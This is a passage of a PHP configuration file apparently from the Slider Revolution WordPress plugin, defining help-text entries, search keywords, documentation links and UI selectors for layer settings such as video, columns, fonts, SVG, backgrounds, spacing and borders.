										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.mute']"
									)
								),
								'volume' => array(
									$t => __("Video/Audio Volume", 'revsliderhelp'),
									$h => "media.volume",
									$k => array("video volume", "volume", "youtube volume", "vimeo volume", "html5 video volume", "audio volume", "html5 audio volume"),
									$d => __("The initial volume for the video/audio.  Choose a number between 0-100", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "#layer_video_volume"
									)
								),
								'speed' => array(
									$t => __("Video Speed", 'revsliderhelp'),
									$h => "media.speed",
									$k => array("video speed"),
									$d => __("Optional playback speed for the video", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array(
											'layerselected::video',
											array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube', $o => 'layer_video_type', 'target' => 'youtube')
										), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "#layer_media_speed"
									)
								),
								'start_at' => array(
									$t => __("Start Time", 'revsliderhelp'),
									$h => "media.startAt",
									$k => array("video start", "video start time", "start at", "video start at", "audio start at", "audio start time"),
									$d => __("Start the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "#layer_video_start"
									)
								),
								'end_at' => array(
									$t => __("End Time", 'revsliderhelp'),
									$h => "media.endAt",
									$k => array("video end", "video end time", "end at", "video end at", "audio end at", "audio end time"),
									$d => __("End the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "#layer_video_end"
									)
								)
							),
							'arguments' => array(
								$t => __("YouTube/Vimeo Arguments", 'revsliderhelp'),
								$h => "media.args",
								$k => array("youtube args", "youtube arguments", "vimeo args", "vimeo arguments"),
								$d => __("Optional iFrame arguments for <a href='https://developers.google.com/youtube/player_parameters' target='_blank'>YouTube</a> and <a href='https://help.vimeo.com/hc/en-us/articles/360001494447-Using-Player-Parameters' target='_blank'>Vimeo</a>", 'revsliderhelp'),
								$a => $u . "layer-video-audio-settings/",
								$hl => array(
									$dp => array(
										'layerselected::video',
										array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube::vimeo', $o => 'layer_video_type', 'target' => 'youtube')
									), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_video_attr', 
									$f => "#layer_video_arg"
								)
							)
						),
						'row_settings' => array(
							'columns' => array(
								$t => __("Column Structure", 'revsliderhelp'),
								$h => "row_column_structure",
								$k => array("rows", "columns", "row", "column", "colspan"),
								$d => __("Choose the number of columns and their <a href='https://www.w3schools.com/tags/att_td_colspan.asp' target='_blank'>colspan</a> for the selected row", 'revsliderhelp'),
								$a => $u . "rows-columns/",
								$hl => array(
									$dp => array('layerselected::row||column'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_row', 
									$f => "#row_column_structure"
								)
							),
							'break_at' => array(
								$t => __("Break At", 'revsliderhelp'),
								$h => "group.columnbreakat",
								$k => array("rows", "columns", "row", "column", "colspan", "break at", "break columns"),
								$d => __("Choose which viewport the rows should collapse into single columns", 'revsliderhelp'),
								$a => $u . "rows-columns/",
								$hl => array(
									$dp => array('layerselected::row||column'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_row', 
									$f => "#layer_row_break_tablet"
								)
							),
							'row_position' => array(
								$t => __("Row Position", 'revsliderhelp'),
								$h => "row_position",
								$k => array("rows", "columns", "row", "column", "row position", "row align", "position", "align"),
								$d => __("The vertical-align value for the row in relation to the Module's height (top, middle or bottom)", 'revsliderhelp'),
								$a => $u . "rows-columns/",
								$hl => array(
									$dp => array('layerselected::row||column'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_row', 
									$f => ".layer_rowposition_icons.selected"
								)
							)
						),
						'column_settings' => array(
							'horizontal_align' => array(
								$t => __("Horizontal Align", 'revsliderhelp'),
								$h => "idle.textAlign.#size#.v",
								$k => array("layer horizontal align", "horizontal align", "row align", "row alignment", "column align", "column alignment"),
								$d => __("The CSS text-align for the Layer's text.  Also useful for aligning content inside rows/colums", 'revsliderhelp'),
								$a => $u . "rows-columns/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_column', 
									$f => ".layer_content_hor_selector.selected"
								)
							),
							'vertical_align' => array(
								$t => __("Vertical Align", 'revsliderhelp'),
								$h => "idle.verticalAlign",
								$k => array("layer vertical align", "vertical align", "row align", "row alignment", "column align", "column alignment"),
								$d => __("The vertical alignment for content inside a row/column", 'revsliderhelp'),
								$a => $u . "rows-columns/",
								$hl => array(
									$dp => array('layerselected::column'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_column', 
									$f => ".layer_content_ver_selector.selected"
								)
							)
						),
						'column_display_mode' => array(
							'display' => array(
								$t => __("CSS Display", 'revsliderhelp'),
								$h => "idle.display",
								$k => array(),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/display' target='_blank'>CSS display property</a> for the Layer as it fits inside the Column", 'revsliderhelp'),
								$a => $u . "layer-content/",
							),
							'float' => array(
								$t => __("CSS Float", 'revsliderhelp'),
								$h => "idle.clear.#size#.v",
								$k => array(),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/float' target='_blank'>CSS float property</a> for the Layer as it fits inside the Column", 'revsliderhelp'),
								$a => $u . "layer-content/",
							),
							'clear' => array(
								$t => __("CSS Clear", 'revsliderhelp'),
								$h => "idle.float.#size#.v",
								$k => array(),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/clear' target='_blank'>CSS clear property</a> for the Layer as it fits inside the Column", 'revsliderhelp'),
								$a => $u . "layer-content/",
							),
							'linebreak_before' => array(
								$t => __("Add Linebreak Before", 'revsliderhelp'),
								$h => "linebreak_before",
								$k => array(),
								$d => __("Add a linebreak before the currently selected Layer.  Useful when floats are used.", 'revsliderhelp'),
								$a => $u . "layer-content/",
							),
							'linebreak_before' => array(
								$t => __("Add Linebreak After", 'revsliderhelp'),
								$h => "linebreak_after",
								$k => array(),
								$d => __("Add a linebreak after the currently selected Layer.  Useful when floats are used.", 'revsliderhelp'),
								$a => $u . "layer-content/",
							)
						),
						'htmltag' => array(
							$t => __("Layer HTML Tag", 'revsliderhelp'),
							$h => "htmltag",
							$k => array("html tag", "layer tag", "layer wrapper tag", "wrapper tag", "wrapper"),
							$d => __("Choose which HTML tag should be used for the Layer.  Useful for SEO purposes", 'revsliderhelp'),
							$a => $u . "layer-content/",
							$hl => array(
								$dp => array('layerselected::text||image||button||shape||video||audio||object||group'), 
								$m => "#module_layers_trigger, #gst_layer_1", 
								$st => '#form_layercontent_tag', 
								$f => "#layer_htmltag"
							)
						)
					),
					'gst_layer_3' => array(
						'font' => array(
							'font_size' => array(
								$t => __("Font Size", 'revsliderhelp'),
								$h => "idle.fontSize.#size#.v",
								$k => array("font size", "font-size", "font", "text", "text-size", "layer text", "layer font", "layer font size", "layer font-size"),
								$d => __("The Layer's font-size for the currently selected viewport", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_font_size_idle"
								)
							),
							'line_height' => array(
								$t => __("Line Height", 'revsliderhelp'),
								$h => "idle.lineHeight.#size#.v",
								$k => array("line-height", "line height", "text size"),
								$d => __("The Layer's <a href='https://www.w3schools.com/cssref/pr_dim_line-height.asp' target=_'blank'>CSS line-height</a> value for the currently selected viewport", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_line_height_idle"
								)
							),
							'font_weight' => array(
								$t => __("Font Weight", 'revsliderhelp'),
								$h => "idle.fontWeight.#size#.v",
								$k => array("strong", "bold", "font-weight", "font-weight", "bold text", "strong text"),
								$d => __("The Layer's <a href=https://www.w3schools.com/cssref/pr_font_weight.asp' target=_'blank'>CSS font-weight</a> value for the currently selected viewport", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_fontweight_idle"
								)
							),
							'letter_spacing' => array(
								$t => __("Letter Spacing", 'revsliderhelp'),
								$h => "idle.letterSpacing.#size#.v",
								$k => array("letter spacing", "text spacing", "letter-spacing"),
								$d => __("The Layer's <a href=https://www.w3schools.com/cssref/pr_text_letter-spacing.asp' target=_'blank'>CSS letter-spacing</a> value for the currently selected viewport", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "*[data-r='idle.letterSpacing.#size#.v']"
								)
							),
							'font_family' => array(
								$t => __("Font Family", 'revsliderhelp'),
								$h => "idle.fontFamily",
								$k => array("font family", "font-family", "text", "text font", "text font family", "text font-family", "google font"),
								$d => __("The Google Font for the currently selected Layer's text", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_fontfamily"
								)
							),
							'text_color' => array(
								$t => __("Text Color", 'revsliderhelp'),
								$h => "idle.color.#size#.v",
								$k => array("text color", "layer text color", "layer text"),
								$d => __("The text color for the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layerTextColor"
								)
							),
							'italic' => array(
								$t => __("Font-Style: Italic", 'revsliderhelp'),
								$h => "idle.fontStyle",
								$k => array("font-style", "font style", "italic", "italics", "italic text"),
								$d => __("Add italics to the currently selected Layer's text", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_fontStyle"
								)
							),
							'text_decoration' => array(
								$t => __("Text Decoration", 'revsliderhelp'),
								$h => "idle.textDecoration",
								$k => array("underline", "strike", "overline", "line-through", "strike-through"),
								$d => __("Add an text underline to the currently selected Layer's text", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_textdecoration_idle"
								)
							),
							'text_transform' => array(
								$t => __("Text Transform", 'revsliderhelp'),
								$h => "idle.textTransform",
								$k => array("text-transform", "uppercase", "lowercase", "upper-case", "lower-case", "capitalize"),
								$d => __("The CSS <a href='https://www.w3schools.com/cssref/pr_text_text-transform.asp' target='_blank'>text-transform</a> value for the text", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_texttransform"
								)
							),
							'selectable' => array(
								$t => __("Layer is Selectable", 'revsliderhelp'),
								$h => "idle.selectable",
								$k => array("selectable", "layer selectable", "user-select", "user select"),
								$d => __("The CSS <a href='https://www.w3schools.com/cssref/css3_pr_user-select.asp' target='_blank'>user-select</a> value for the text", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_font', 
									$f => "#layer_selectable"
								)
							)
						),
						'svg' => array(
							'originalColor' => array(
								$t => __("SVG Original Color", 'revsliderhelp'),
								$h => "idle.svg.originalColor",
								$k => array("svg", "svg color", "layer svg", "svg original color", "original color"),
								$d => __("Disable this option to change color of svg elements in layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3, #", 
									$st => '#form_layerstyle_svg', 
									$f => "*[data-r='idle.svg.originalColor']"
								)
							),
							'color' => array(
								$t => __("SVG Color", 'revsliderhelp'),
								$h => "idle.svg.color.#size#.v",
								$k => array("svg", "svg color", "layer svg", "svg icon", "icon"),
								$d => __("The color of the currently selected SVG Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3, #", 
									$st => '#form_layerstyle_svg', 
									$f => "#layerSVGColor"
								)
							),
							'stroke_color' => array(
								$t => __("Stroke/Border Color", 'revsliderhelp'),
								$h => "idle.svg.strokeColor",
								$k => array("svg", "svg stroke", "svg border", "svg stroke color", "border color", "stroke color", "layer svg", "svg icon", "icon"),
								$d => __("The border/stroke color of the currently selected SVG Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#layerStrokeColor', 
									$f => "#layerStrokeColor"
								)
							),
							'stroke_width' => array(
								$t => __("Stroke/Border Width/Size", 'revsliderhelp'),
								$h => "idle.svg.strokeWidth",
								$k => array("svg", "svg border", "layer svg", "svg icon", "icon", "svg stroke width", "stroke size", "svg border size", "svg border width"),
								$d => __("The border/stroke width/size of the currently selected SVG Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_svg', 
									$f => "*[data-r='idle.svg.strokeWidth']"
								)
							),
							'dash' => array(
								$t => __("Dash-Array", 'revsliderhelp'),
								$h => "idle.svg.strokeDashArray",
								$k => array("svg", "svg dash", "svg dash array", "svg dash-array", "dash-array", "dash array"),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/stroke-dasharray' target='_blank'>dash-array</a> for the currently selected SVG.  Displays the SVG stroke/border as dashes.", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_svg', 
									$f => "*[data-r='idle.svg.strokeDashArray']"
								)
							),
							'dash_offset' => array(
								$t => __("Dash-Array Offset", 'revsliderhelp'),
								$h => "idle.svg.strokeDashOffset",
								$k => array("svg", "svg dash", "svg dash offset", "svg dash-array", "dash-array", "dash array", "dash offset"),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/stroke-dashoffset' target='_blank'>stroke-dash-offset</a> for the currently selected SVG", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_svg', 
									$f => "*[data-r='idle.svg.strokeDashOffset']"
								)
							),
							'styleAll' => array(
								$t => __("SVG Style All Elements", 'revsliderhelp'),
								$h => "idle.svg.styleAll",
								$k => array("svg", "svg color", "layer svg", "svg style all", "style all elements"),
								$d => __("By default only SVG path gets custom style, Enabling this option will style all svg elements like ellipse, polygon etc", 'revsliderhelp'),
								$a => $u . "font-colors-styling/",
								$hl => array(
									$dp => array('layerselected::object'), 
									$m => "#module_layers_trigger, #gst_layer_3, #", 
									$st => '#form_layerstyle_svg', 
									$f => "*[data-r='idle.svg.styleAll']"
								)
							)
						),
						'background' => array(
							'bg_color' => array(
								$t => __("Background Color", 'revsliderhelp'),
								$h => "idle.backgroundColor",
								$k => array("bg", "background", "background color", "layer background", "layer background color", "layer bg", "bg color"),
								$d => __("Set a background color for the Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#background",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_bg', 
									$f => "#layerBGColor"
								)
							),
							'bg_image' => array(
								$t => __("Background Image", 'revsliderhelp'),
								$h => "idle.backgroundImage",
								$k => array("bg", "background", "background image", "layer background", "layer background image", "layer bg", "image background"),
								$d => __("Set a background image for the Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#background",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.backgroundImage']{first}"
								)
							),
							'position' => array(
								$t => __("BG Image Position", 'revsliderhelp'),
								$h => "idle.backgroundPosition",
								$k => array("image", "images", "background", "bg", "bg image", "background position"),
								$d => __("The CSS background-position for the Layer's background image", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#background",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_bg', 
									$f => "#layer_bg_position_center-center"
								)
							),
							'fit' => array(
								$t => __("BG Image Fit", 'revsliderhelp'),
								$h => "idle.backgroundSize",
								$k => array("background size", "fit", "image fit", "cover", "contain"),
								$d => __("The css background-size value for the Layer's background image", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#background",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_bg', 
									$f => "#layer_bgimage_fit"
								)
							),
							'repeat' => array(
								$t => __("BG Image Repeat", 'revsliderhelp'),
								$h => "idle.backgroundRepeat",
								$k => array("background repeat", "repeat"),
								$d => __("The css background-repeat value for the Layer's background image", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#background",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_bg', 
									$f => "#layer_bgimage_repeat"
								)
							)
						),
						'margins' => array(
							'margin_top' => array(
								$t => __("Margin Top", 'revsliderhelp'),
								$h => "idle.margin.#size#.v.0",
								$k => array("layer margin", "layers margin", "margin top", "margin-top"),
								$d => __("The top margin for the currently Selected Layer.  Useful for rows/columns.", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.margin.#size#.v.0']"
								)
							),
							'margin_right' => array(
								$t => __("Margin Right", 'revsliderhelp'),
								$h => "idle.margin.#size#.v.1",
								$k => array("layer margin", "layers margin", "margin right", "margin-right"),
								$d => __("The right margin for the currently Selected Layer.  Useful for rows/columns.", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.margin.#size#.v.1']"
								)
							),
							'margin_bottom' => array(
								$t => __("Margin Bottom", 'revsliderhelp'),
								$h => "idle.margin.#size#.v.2",
								$k => array("layer margin", "layers margin", "margin bottom", "margin-bottom"),
								$d => __("The bottom margin for the currently Selected Layer.  Useful for rows/columns.", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.margin.#size#.v.2']"
								)
							),
							'margin_left' => array(
								$t => __("Margin Left", 'revsliderhelp'),
								$h => "idle.margin.#size#.v.3",
								$k => array("layer margin", "layers margin", "margin left", "margin-left"),
								$d => __("The left margin for the currently Selected Layer.  Useful for rows/columns.", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.margin.#size#.v.3']"
								)
							)
						),
						'paddings' => array(
							'padding_top' => array(
								$t => __("Padding Top", 'revsliderhelp'),
								$h => "idle.padding.#size#.v.0",
								$k => array("layer padding", "layers padding", "padding top", "padding-top"),
								$d => __("The top padding for the currently Selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "#idle_layer_padding_top"
								)
							),
							'padding_right' => array(
								$t => __("Padding Right", 'revsliderhelp'),
								$h => "idle.padding.#size#.v.1",
								$k => array("layer padding", "layers padding", "padding right", "padding-right"),
								$d => __("The right padding for the currently Selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.padding.#size#.v.1']"
								)
							),
							'padding_bottom' => array(
								$t => __("Padding Bottom", 'revsliderhelp'),
								$h => "idle.padding.#size#.v.2",
								$k => array("layer padding", "layers padding", "padding bottom", "padding-bottom"),
								$d => __("The bottom padding for the currently Selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.padding.#size#.v.2']"
								)
							),
							'padding_left' => array(
								$t => __("Padding Left", 'revsliderhelp'),
								$h => "idle.padding.#size#.v.3",
								$k => array("layer padding", "layers padding", "padding left", "padding-left"),
								$d => __("The left padding for the currently Selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_space', 
									$f => "*[data-r='idle.padding.#size#.v.3']"
								)
							)
						),
						'border' => array(
							'border_color' => array(
								$t => __("Border Color", 'revsliderhelp'),
								$h => "idle.borderColor",
								$k => array("border", "border color", "layer border", "layer border color", "layers border"),
								$d => __("Add a border to the Layer's HTML element", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "#layerBorderColor"
								)
							),
							'border_style' => array(
								$t => __("Border Style", 'revsliderhelp'),
								$h => "idle.borderStyle.#size#.v",
								$k => array("border", "border style", "layer border", "layer border style", "layers border"),
								$d => __("The <a href='https://www.w3schools.com/cssref/pr_border-style.asp' target='_blank'>CSS border-style</a> to use for the Layer's border", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "#layer_border_style"
								)
							),
							'border_width_top' => array(
								$t => __("Border Top Size", 'revsliderhelp'),
								$h => "idle.borderWidth.0",
								$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
								$d => __("The border's top size (border-top-width)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderWidth.0']"
								)
							),
							'border_width_right' => array(
								$t => __("Border Right Size", 'revsliderhelp'),
								$h => "idle.borderWidth.1",
								$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
								$d => __("The border's right size (border-right-width)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderWidth.1']"
								)
							),
							'border_width_bottom' => array(
								$t => __("Border Bottom Size", 'revsliderhelp'),
								$h => "idle.borderWidth.2",
								$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
								$d => __("The border's bottom size (border-bottom-width)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderWidth.2']"
								)
							),
							'border_width_left' => array(
								$t => __("Border Left Size", 'revsliderhelp'),
								$h => "idle.borderWidth.3",
								$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
								$d => __("The border's left size (border-left-width)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderWidth.3']"
								)
							)
						),
						'border_radius' => array(
							'border_radius_top_left' => array(
								$t => __("Border Radius Top Left", 'revsliderhelp'),
								$h => "idle.borderRadius.v.0",
								$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
								$d => __("The top-left corner border-radius (px or %)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderRadius.v.0']"
								)
							),
							'border_radius_top_right' => array(
								$t => __("Border Radius Top Right", 'revsliderhelp'),
								$h => "idle.borderRadius.v.1",
								$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
								$d => __("The top-right corner border-radius (px or %)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderRadius.v.1']"
								)
							),
							'border_radius_bottom_left' => array(
								$t => __("Border Radius Bottom Left", 'revsliderhelp'),
								$h => "idle.borderRadius.v.2",
								$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
								$d => __("The bottom-left corner border-radius (px or %)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderRadius.v.2']"
								)
							),
							'border_radius_bottom_right' => array(
								$t => __("Border Radius Bottom Right", 'revsliderhelp'),
								$h => "idle.borderRadius.v.3",
								$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
								$d => __("The bottom-right corner border-radius (px or %)", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#spacings-border",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_3", 
									$st => '#form_layerstyle_border', 
									$f => "*[data-r='idle.borderRadius.v.3']"
								)
							)
						)
					),
					'gst_layer_2' => array(
						'horizontal_align' => array(
							$t => __("Horizontal Align", 'revsliderhelp'),
							$h => "position.horizontal.#size#.v",
							$k => array("align", "alignment", "layer align", "position", "layer position", "layer alignment", "horizontal align"),
							$d => __("Align the Layer horizontally to the Slider content or the entire Slider", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => ".layer_hor_selector.selected"
							)
						),
						'vertical_align' => array(
							$t => __("Vertical Align", 'revsliderhelp'),
							$h => "position.vertical.#size#.v",
							$k => array("align", "alignment", "layer align", "position", "layer position", "layer alignment", "vertical align"),
							$d => __("Align the Layer vertically to the Slider content or the entire Slider", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => ".layer_ver_selector.selected"
							)
						),
						'offsetx' => array(
							$t => __("Offset X", 'revsliderhelp'),
							$h => "position.x.#size#.v",
							$k => array("layer position", "layer offset"),
							$d => __("Offset the Layer's horizontal position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "#layer_pos_x"
							)
						),
						'offsety' => array(
							$t => __("Offset Y", 'revsliderhelp'),
							$h => "position.y.#size#.v",
							$k => array("layer position", "layer offset"),
							$d => __("Offset the Layer's vertical position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "#layer_pos_y"
							)
						),
						'width' => array(
							$t => __("Layer Width", 'revsliderhelp'),
							$h => "size.width.#size#.v",
							$k => array("layer width", "layers width", "layer size", "layers size"),
							$d => __("The Layer's width for the current device viewport", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
